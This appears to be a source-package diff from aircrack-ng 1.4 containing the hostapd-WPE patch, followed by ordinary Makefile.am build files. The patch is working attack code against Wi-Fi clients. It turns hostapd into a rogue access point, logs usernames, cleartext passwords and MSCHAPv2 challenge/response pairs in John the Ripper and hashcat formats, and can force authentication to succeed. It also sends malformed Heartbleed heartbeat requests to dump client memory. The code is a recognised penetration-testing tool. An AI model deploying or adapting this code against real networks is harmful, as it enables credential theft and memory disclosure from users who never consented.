+--- hostapd-2.6/src/crypto/tls_openssl.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/crypto/tls_openssl.c	2018-05-21 11:37:58.863577170 +0200
+@@ -21,6 +21,7 @@
+ #include <openssl/opensslv.h>
+ #include <openssl/pkcs12.h>
+ #include <openssl/x509v3.h>
++#include <openssl/rand.h>
+ #ifndef OPENSSL_NO_ENGINE
+ #include <openssl/engine.h>
+ #endif /* OPENSSL_NO_ENGINE */
+@@ -37,6 +38,7 @@
+ #include "sha256.h"
+ #include "tls.h"
+ #include "tls_openssl.h"
++#include "wpe/wpe.h"
+ 
+ #if !defined(CONFIG_FIPS) &&                             \
+     (defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) ||   \
+@@ -179,6 +181,10 @@ static int tls_add_ca_from_keystore_enco
+ 
+ #endif /* ANDROID */
+ 
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++
+ static int tls_openssl_ref_count = 0;
+ static int tls_ex_idx_session = -1;
+ 
+@@ -1347,7 +1353,12 @@ struct tls_connection * tls_connection_i
+ 
+ 	conn->context = context;
+ 	SSL_set_app_data(conn->ssl, conn);
+-	SSL_set_msg_callback(conn->ssl, tls_msg_cb);
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	if (wpe_conf.wpe_enable_cupid) 
++		SSL_set_msg_callback(conn->ssl, wpe_hb_cb);
++	else
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++		SSL_set_msg_callback(conn->ssl, tls_msg_cb);
+ 	SSL_set_msg_callback_arg(conn->ssl, conn);
+ 	options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
+ 		SSL_OP_SINGLE_DH_USE;
+@@ -3257,6 +3268,10 @@ openssl_handshake(struct tls_connection
+ {
+ 	int res;
+ 	struct wpabuf *out_data;
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	int i;
++	struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2;
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
+ 
+ 	/*
+ 	 * Give TLS handshake data from the server (if available) to OpenSSL
+@@ -3316,6 +3331,30 @@ openssl_handshake(struct tls_connection
+ 	}
+ 	wpabuf_put(out_data, res);
+ 
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) {
++
++		wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat request instead of handshake\n");
++		wpe_hb_ptr1 = NULL;
++
++		for (i = 0; i < wpe_conf.wpe_hb_num_repeats; i++) {
++			wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1);
++			memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1);
++			wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1);
++
++			if (wpe_hb_ptr1) {
++				wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2);
++			} else {
++				wpe_hb_ptr1 = wpe_hb_ptr2;
++			}
++		}
++
++		conn->ssl->tlsext_hb_pending = 1;
++		wpe_conf.wpe_hb_num_tries--;
++		return wpe_hb_ptr1;
++	}
++#endif
++
+ 	return out_data;
+ }
+ 
+@@ -3431,6 +3470,13 @@ struct wpabuf * tls_connection_encrypt(v
+ 		tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
+ 		return NULL;
+ 	}
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata) {
++		wpe_hb_enc(conn);
++	}
++#endif
++
+ 	res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
+ 	if (res < 0) {
+ 		tls_show_errors(MSG_INFO, __func__,
+@@ -3438,6 +3484,12 @@ struct wpabuf * tls_connection_encrypt(v
+ 		return NULL;
+ 	}
+ 
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata) {
++		wpe_hb_enc(conn);
++	}
++#endif
++
+ 	/* Read encrypted data to be sent to the server */
+ 	buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
+ 	if (buf == NULL)
+@@ -4331,3 +4383,69 @@ void tls_connection_remove_session(struc
+ 		wpa_printf(MSG_DEBUG,
+ 			   "OpenSSL: Removed cached session to disable session resumption");
+ }
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++int wpe_hb_enc(struct tls_connection *conn) {
++    unsigned char *cbuf, *p;
++
++    unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */
++    unsigned int padding = 16; //default: 16 /* Use minimum padding */
++
++    if (!SSL_is_init_finished(conn->ssl)) {
++        return -1;
++    }
++
++    if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
++            conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) {
++        wpa_printf(MSG_DEBUG, "[WPE] warning: heartbeat extension is unsupported (try anyway)\n");
++    } else {
++        wpa_printf(MSG_DEBUG,"[WPE] Heartbeat extention is supported, may not be vulnerable!\n");
++    }
++
++    /* Check if padding is too long, payload and padding
++    * must not exceed 2^14 - 3 = 16381 bytes in total.
++    */
++    OPENSSL_assert(real_payload + padding <= 16381);
++
++    cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding);
++
++    if(cbuf==NULL)
++        return -1;
++
++    p = cbuf;
++
++    *p++ = TLS1_HB_REQUEST;
++
++
++    /* Payload length (18 bytes here) */
++    //s2n(payload, p);  /* standards compliant payload */
++    //s2n(payload +10, p);  /* >payload to exploit heartbleed!!! */
++    s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */
++
++    /* Sequence number */
++    s2n(conn->ssl->tlsext_hb_seq, p);
++    /* 16 random bytes */
++    RAND_pseudo_bytes(p, 16);
++    //RAND_bytes(p, 16);
++    p += 16;
++    /* Random padding */
++    RAND_pseudo_bytes(p, padding);
++    //RAND_bytes(p, padding);
++
++    wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size);
++    wpa_hexdump(MSG_DEBUG, "[WPE] heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding);
++
++    /* Send heartbeat request */
++#ifdef TLS1_RT_HEARTBEAT
++    if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT,
++#elif defined(DTLS1_RT_HEARTBEAT)
++    if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, DTLS1_RT_HEARTBEAT,
++#endif
++    cbuf, 3 + real_payload + padding) >= 0)
++    conn->ssl->tlsext_hb_pending = 1;
++    OPENSSL_free(cbuf);
++
++    return 0;
++}
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++
+diff -rupN hostapd-2.6/src/eap_server/eap_server.c hostapd-2.6-wpe/src/eap_server/eap_server.c
+--- hostapd-2.6/src/eap_server/eap_server.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/eap_server/eap_server.c	2018-05-21 11:37:58.863577170 +0200
+@@ -23,7 +23,8 @@
+ #define STATE_MACHINE_DATA struct eap_sm
+ #define STATE_MACHINE_DEBUG_PREFIX "EAP"
+ 
+-#define EAP_MAX_AUTH_ROUNDS 50
++//#define EAP_MAX_AUTH_ROUNDS 50
++#define EAP_MAX_AUTH_ROUNDS 50000 // wpe >:)
+ 
+ static void eap_user_free(struct eap_user *user);
+ 
+@@ -164,6 +165,8 @@ int eap_user_get(struct eap_sm *sm, cons
+ {
+ 	struct eap_user *user;
+ 
++    char ident = 't';    
++
+ 	if (sm == NULL || sm->eapol_cb == NULL ||
+ 	    sm->eapol_cb->get_eap_user == NULL)
+ 		return -1;
+@@ -175,6 +178,11 @@ int eap_user_get(struct eap_sm *sm, cons
+ 	if (user == NULL)
+ 	    return -1;
+ 
++    if (phase2) {
++        identity = (const u8 *)&ident;
++        identity_len = 1;
++    }
++
+ 	if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+ 				       identity_len, phase2, user) != 0) {
+ 		eap_user_free(user);
+diff -rupN hostapd-2.6/src/eap_server/eap_server_mschapv2.c hostapd-2.6-wpe/src/eap_server/eap_server_mschapv2.c
+--- hostapd-2.6/src/eap_server/eap_server_mschapv2.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/eap_server/eap_server_mschapv2.c	2018-05-21 11:37:58.863577170 +0200
+@@ -12,7 +12,7 @@
+ #include "crypto/ms_funcs.h"
+ #include "crypto/random.h"
+ #include "eap_i.h"
+-
++#include "wpe/wpe.h"
+ 
+ struct eap_mschapv2_hdr {
+ 	u8 op_code; /* MSCHAPV2_OP_* */
+@@ -291,7 +291,7 @@ static void eap_mschapv2_process_respons
+ 	size_t username_len, user_len;
+ 	int res;
+ 	char *buf;
+-
++	u8 wpe_challenge_hash[8];
+ 	pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ 			       &len);
+ 	if (pos == NULL || len < 1)
+@@ -372,6 +372,8 @@ static void eap_mschapv2_process_respons
+ 		}
+ 	}
+ #endif /* CONFIG_TESTING_OPTIONS */
++	challenge_hash(peer_challenge, data->auth_challenge, username, username_len, wpe_challenge_hash);
++	wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24);
+ 
+ 	if (username_len != user_len ||
+ 	    os_memcmp(username, user, username_len) != 0) {
+@@ -406,6 +408,11 @@ static void eap_mschapv2_process_respons
+ 		return;
+ 	}
+ 
++	if (wpe_conf.wpe_enable_return_success) {
++		os_memset((void *)nt_response, 0, 24);
++		os_memset((void *)expected, 0, 24);
++	}
++
+ 	if (os_memcmp_const(nt_response, expected, 24) == 0) {
+ 		const u8 *pw_hash;
+ 		u8 pw_hash_buf[16], pw_hash_hash[16];
+@@ -446,6 +453,8 @@ static void eap_mschapv2_process_respons
+ 		wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response");
+ 		data->state = FAILURE_REQ;
+ 	}
++	if (wpe_conf.wpe_enable_return_success)
++		data->state = SUCCESS;
+ }
+ 
+ 
+diff -rupN hostapd-2.6/src/eap_server/eap_server_peap.c hostapd-2.6-wpe/src/eap_server/eap_server_peap.c
+--- hostapd-2.6/src/eap_server/eap_server_peap.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/eap_server/eap_server_peap.c	2018-05-21 11:37:58.863577170 +0200
+@@ -17,7 +17,7 @@
+ #include "eap_common/eap_tlv_common.h"
+ #include "eap_common/eap_peap_common.h"
+ #include "tncs.h"
+-
++#include "wpe/wpe.h"
+ 
+ /* Maximum supported PEAP version
+  * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt
+diff -rupN hostapd-2.6/src/eap_server/eap_server_ttls.c hostapd-2.6-wpe/src/eap_server/eap_server_ttls.c
+--- hostapd-2.6/src/eap_server/eap_server_ttls.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/eap_server/eap_server_ttls.c	2018-05-21 11:37:58.863577170 +0200
+@@ -16,7 +16,7 @@
+ #include "eap_server/eap_tls_common.h"
+ #include "eap_common/chap.h"
+ #include "eap_common/eap_ttls.h"
+-
++#include "wpe/wpe.h"
+ 
+ #define EAP_TTLS_VERSION 0
+ 
+@@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap(
+ 		return;
+ 	}
+ 
+-	if (sm->user->password_len != user_password_len ||
++	wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len);
++
++	if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len ||
+ 	    os_memcmp_const(sm->user->password, user_password,
+-			    user_password_len) != 0) {
++			    user_password_len) != 0)) {
+ 		wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password");
+ 		eap_ttls_state(data, FAILURE);
+ 		return;
+@@ -603,8 +605,9 @@ static void eap_ttls_process_phase2_chap
+ 	chap_md5(password[0], sm->user->password, sm->user->password_len,
+ 		 challenge, challenge_len, hash);
+ 
+-	if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) ==
+-	    0) {
++	wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len);
++
++	if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) {
+ 		wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password");
+ 		eap_ttls_state(data, SUCCESS);
+ 		eap_ttls_valid_session(sm, data);
+@@ -672,7 +675,9 @@ static void eap_ttls_process_phase2_msch
+ 		nt_challenge_response(challenge, sm->user->password,
+ 				      sm->user->password_len, nt_response);
+ 
+-	if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) {
++	wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24);
++
++	if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) {
+ 		wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response");
+ 		eap_ttls_state(data, SUCCESS);
+ 		eap_ttls_valid_session(sm, data);
+@@ -694,7 +699,7 @@ static void eap_ttls_process_phase2_msch
+ 					     u8 *response, size_t response_len)
+ {
+ 	u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge,
+-		*auth_challenge;
++		*auth_challenge, wpe_challenge_hash[8];
+ 	size_t username_len, i;
+ 
+ 	if (challenge == NULL || response == NULL ||
+@@ -779,6 +784,9 @@ static void eap_ttls_process_phase2_msch
+ 	}
+ 
+ 	rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
++
++	challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash);
++	wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24);
+ #ifdef CONFIG_TESTING_OPTIONS
+ 	{
+ 		u8 challenge2[8];
+diff -rupN hostapd-2.6/src/Makefile hostapd-2.6-wpe/src/Makefile
+--- hostapd-2.6/src/Makefile	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/Makefile	2018-05-21 11:37:58.863577170 +0200
+@@ -1,5 +1,5 @@
+ SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps
+-SUBDIRS += fst
++SUBDIRS += fst wpe
+ 
+ all:
+ 	for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done
+diff -rupN hostapd-2.6/src/utils/wpa_debug.c hostapd-2.6-wpe/src/utils/wpa_debug.c
+--- hostapd-2.6/src/utils/wpa_debug.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/utils/wpa_debug.c	2018-05-21 11:37:58.863577170 +0200
+@@ -30,7 +30,7 @@ static FILE *wpa_debug_tracing_file = NU
+ 
+ 
+ int wpa_debug_level = MSG_INFO;
+-int wpa_debug_show_keys = 0;
++int wpa_debug_show_keys = 1; // WPE >:)
+ int wpa_debug_timestamp = 0;
+ 
+ 
+diff -rupN hostapd-2.6/src/wpe/Makefile hostapd-2.6-wpe/src/wpe/Makefile
+--- hostapd-2.6/src/wpe/Makefile	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/src/wpe/Makefile	2018-05-21 11:37:58.863577170 +0200
+@@ -0,0 +1,8 @@
++all:
++	@echo Nothing to be made.
++
++clean:
++	rm -f *~ *.o *.d *.gcno *.gcda *.gcov
++
++install:
++	@echo Nothing to be made.
+diff -rupN hostapd-2.6/src/wpe/wpe.c hostapd-2.6-wpe/src/wpe/wpe.c
+--- hostapd-2.6/src/wpe/wpe.c	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/src/wpe/wpe.c	2018-05-21 11:53:09.579560861 +0200
+@@ -0,0 +1,232 @@
++/*
++    wpe.c - 
++        brad.antoniewicz@foundstone.com
++        Implements WPE (Wireless Pwnage Edition) functionality within 
++        hostapd.
++
++        WPE functionality focuses on targeting connecting users. At 
++        it's core it implements credential logging (originally 
++        implemented in FreeRADIUS-WPE), but also includes other patches
++        for other client attacks that have been modified to some extend.
++
++            FreeRADIUS-WPE: https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/freeradius-wpe
++            Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
++            Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
++*/
++
++#include <time.h>
++#include <openssl/ssl.h>
++#include "includes.h"
++#include "common.h"
++#include "wpe/wpe.h"
++#include "utils/wpa_debug.h"
++
++#define wpe_logfile_default_location "./hostapd-wpe.log"
++
++
++#define MSCHAPV2_CHAL_HASH_LEN 8
++#define MSCHAPV2_CHAL_LEN 16
++#define MSCHAPV2_RESP_LEN 24
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	char wpe_hb_msg[] = "\x18\x03\x01\x00\x03\x01\xff\xff";
++	size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg[0]);
++#endif
++
++struct wpe_config wpe_conf = {
++    .wpe_logfile = wpe_logfile_default_location,
++    .wpe_logfile_fp = NULL,
++    .wpe_enable_karma = 0,
++    .wpe_enable_cupid = 0,
++    .wpe_enable_return_success = 0,
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++    .wpe_hb_send_before_handshake = 1,
++    .wpe_hb_send_before_appdata = 0,
++    .wpe_hb_send_after_appdata = 0,
++    .wpe_hb_payload_size = 50000,
++    .wpe_hb_num_tries = 1,
++    .wpe_hb_num_repeats = 10
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++};
++
++void wpe_log_file_and_stdout(char const *fmt, ...) {
++
++    if ( wpe_conf.wpe_logfile_fp == NULL ) {
++        wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a");
++        if ( wpe_conf.wpe_logfile_fp == NULL ) 
++            printf("WPE: Cannot file log file");
++    }
++
++    va_list ap;
++
++    va_start(ap, fmt);
++    vprintf(fmt, ap);
++    va_end(ap);
++
++    va_start(ap, fmt);
++    if ( wpe_conf.wpe_logfile_fp != NULL )
++        vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap);
++    va_end(ap);
++}
++
++void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) {
++    time_t nowtime;
++    int x; 
++
++    nowtime = time(NULL);
++
++    wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime));
++    wpe_log_file_and_stdout("\t username:\t");
++    for (x=0; x<username_len; x++)
++        wpe_log_file_and_stdout("%c",username[x]);
++    wpe_log_file_and_stdout("\n");
++
++    wpe_log_file_and_stdout("\t challenge:\t");
++    for (x=0; x<challenge_len - 1; x++)
++        wpe_log_file_and_stdout("%02x:",challenge[x]);
++    wpe_log_file_and_stdout("%02x\n",challenge[x]);
++
++    wpe_log_file_and_stdout("\t response:\t");
++    for (x=0; x<response_len - 1; x++)
++        wpe_log_file_and_stdout("%02x:",response[x]);
++    wpe_log_file_and_stdout("%02x\n",response[x]);
++
++    if (strncmp(type, "mschapv2", 8) == 0 || strncmp(type, "eap-ttls/mschapv2", 17) == 0) {
++        wpe_log_file_and_stdout("\t jtr NETNTLM:\t\t");
++        for (x=0; x<username_len; x++)
++            wpe_log_file_and_stdout("%c",username[x]);
++        wpe_log_file_and_stdout(":$NETNTLM$");
++        for (x=0; x<challenge_len; x++)
++            wpe_log_file_and_stdout("%02x",challenge[x]);
++        wpe_log_file_and_stdout("$");
++        for (x=0; x<response_len; x++)
++            wpe_log_file_and_stdout("%02x",response[x]);
++        wpe_log_file_and_stdout("\n");
++
++        wpe_log_file_and_stdout("\t hashcat NETNTLM:\t");
++        for (x=0; x<username_len; x++)
++            wpe_log_file_and_stdout("%c",username[x]);
++        wpe_log_file_and_stdout("::::");
++        for (x=0; x<response_len; x++)
++            wpe_log_file_and_stdout("%02x",response[x]);
++        wpe_log_file_and_stdout(":");
++        for (x=0; x<challenge_len; x++)
++            wpe_log_file_and_stdout("%02x",challenge[x]);
++        wpe_log_file_and_stdout("\n");
++
++    }
++}
++
++void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len)  {
++    time_t nowtime;
++    int x;
++
++    nowtime = time(NULL);
++
++    wpe_log_file_and_stdout("\n\n%s: %s",type, ctime(&nowtime));
++    wpe_log_file_and_stdout("\t username:\t");
++    for (x=0; x<username_len; x++)
++        wpe_log_file_and_stdout("%c",username[x]);
++    wpe_log_file_and_stdout("\n");
++
++    wpe_log_file_and_stdout("\t password:\t");
++    for (x=0; x<password_len; x++)
++        wpe_log_file_and_stdout("%c",password[x]);
++    wpe_log_file_and_stdout("\n");
++}
++
++/*
++    Taken from asleap, who took from nmap, who took from tcpdump :) 
++*/
++void wpe_hexdump(unsigned char *bp, unsigned int length)
++{
++
++    /* stolen from tcpdump, then kludged extensively */
++
++    static const char asciify[] =
++        "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
++
++    const unsigned short *sp;
++    const unsigned char *ap;
++    unsigned int i, j;
++    int nshorts, nshorts2;
++    int padding;
++
++    wpe_log_file_and_stdout("\n\t");
++    padding = 0;
++    sp = (unsigned short *)bp;
++    ap = (unsigned char *)bp;
++    nshorts = (unsigned int)length / sizeof(unsigned short);
++    nshorts2 = (unsigned int)length / sizeof(unsigned short);
++    i = 0;
++    j = 0;
++    while (1) {
++        while (--nshorts >= 0) {
++            wpe_log_file_and_stdout(" %04x", ntohs(*sp));
++            sp++;
++            if ((++i % 8) == 0)
++                break;
++        }
++        if (nshorts < 0) {
++            if ((length & 1) && (((i - 1) % 8) != 0)) {
++                wpe_log_file_and_stdout(" %02x  ", *(unsigned char *)sp);
++                padding++;
++            }
++            nshorts = (8 - (nshorts2 - nshorts));
++            while (--nshorts >= 0) {
++                wpe_log_file_and_stdout("     ");
++            }
++            if (!padding)
++                wpe_log_file_and_stdout("     ");
++        }
++        wpe_log_file_and_stdout("  ");
++
++        while (--nshorts2 >= 0) {
++            wpe_log_file_and_stdout("%c%c", asciify[*ap], asciify[*(ap + 1)]);
++            ap += 2;
++            if ((++j % 8) == 0) {
++                wpe_log_file_and_stdout("\n\t");
++                break;
++            }
++        }
++        if (nshorts2 < 0) {
++            if ((length & 1) && (((j - 1) % 8) != 0)) {
++                wpe_log_file_and_stdout("%c", asciify[*ap]);
++            }
++            break;
++        }
++    }
++    if ((length & 1) && (((i - 1) % 8) == 0)) {
++        wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp);
++        wpe_log_file_and_stdout("                                       %c",
++               asciify[*ap]);
++    }
++    wpe_log_file_and_stdout("\n");
++}
++
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++/* https://github.com/openssl/openssl/issues/2122 */
++
++void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) {
++#ifdef TLS1_RT_HEARTBEAT
++    if (v_content_type == TLS1_RT_HEARTBEAT) {
++#elif defined(DTLS1_RT_HEARTBEAT)
++    if (v_content_type == DTLS1_RT_HEARTBEAT) {
++#endif
++        wpe_log_file_and_stdout("\n\nHeartbleed Data:\n");
++        v_ssl->tlsext_hb_pending = 1;
++        wpe_hexdump((unsigned char *)v_buf, v_len);
++    } 
++}
++
++
++char *wpe_hb_clear() {
++    char *p;
++    // set payload size
++    p = &wpe_hb_msg[sizeof(wpe_hb_msg) - 3];
++    s2n(wpe_conf.wpe_hb_payload_size, p);
++
++    return wpe_hb_msg;
++}
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
+diff -rupN hostapd-2.6/src/wpe/wpe.h hostapd-2.6-wpe/src/wpe/wpe.h
+--- hostapd-2.6/src/wpe/wpe.h	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/src/wpe/wpe.h	2018-05-21 11:37:58.863577170 +0200
+@@ -0,0 +1,54 @@
++/*
++    wpe.h - 
++        brad.antoniewicz@foundstone.com
++        Implements WPE (Wireless Pwnage Edition) functionality within 
++        hostapd.
++
++        WPE functionality focuses on targeting connecting users. At 
++        it's core it implements credential logging (originally 
++        implemented in FreeRADIUS-WPE), but also includes other patches
++        for other client attacks.
++
++            FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
++            Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
++            Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
++*/
++#include <openssl/ssl.h>
++
++struct wpe_config {
++    char *wpe_logfile;
++    FILE *wpe_logfile_fp;
++    unsigned int wpe_enable_karma;
++    unsigned int wpe_enable_cupid;
++    unsigned int wpe_enable_return_success;
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++    unsigned int wpe_hb_send_before_handshake:1;
++    unsigned int wpe_hb_send_before_appdata:1;
++    unsigned int wpe_hb_send_after_appdata:1;
++    unsigned int wpe_hb_payload_size;
++    unsigned int wpe_hb_num_tries;
++    unsigned int wpe_hb_num_repeats;
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++};
++
++extern struct wpe_config wpe_conf;
++
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	extern char wpe_hb_msg[];
++	extern size_t wpe_hb_msg_len;
++
++	//#define WPE_HB_MSG_LEN 8
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++
++#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
++       (((unsigned int)(c[1]))    )),c+=2)
++
++#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
++        c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
++
++
++void wpe_log_file_and_stdout(char const *fmt, ...);
++void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len);
++void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len);
++void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg);
++char *wpe_hb_clear();

aircrack-ng-1.4.tar.gz/scripts/Makefile.am Added

@@ -0,0 +1,69 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+if EXT_SCRIPTS
+SUBDIRS = airdrop-ng airgraph-ng versuck-ng
+endif
+
+
+dist_sbin_SCRIPTS = airodump-ng-oui-update
+
+if LINUX
+dist_sbin_SCRIPTS += airmon-ng
+
+airmon-ng: airmon-ng.linux Makefile
+	cp "$(abs_srcdir)/airmon-ng.linux" "$(abs_builddir)/airmon-ng"
+	chmod +x "$(abs_builddir)/airmon-ng"
+
+endif
+
+if FREEBSD
+dist_sbin_SCRIPTS += airmon-ng
+
+airmon-ng: airmon-ng.freebsd Makefile
+	cp "$(abs_srcdir)/airmon-ng.freebsd" "$(abs_builddir)/airmon-ng"
+	chmod +x "$(abs_builddir)/airmon-ng"
+
+endif
+
+EXTRA_DIST = airmon-ng.freebsd airmon-ng.linux
+CLEANFILES = airmon-ng
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/Makefile.am Added

@@ -0,0 +1,69 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
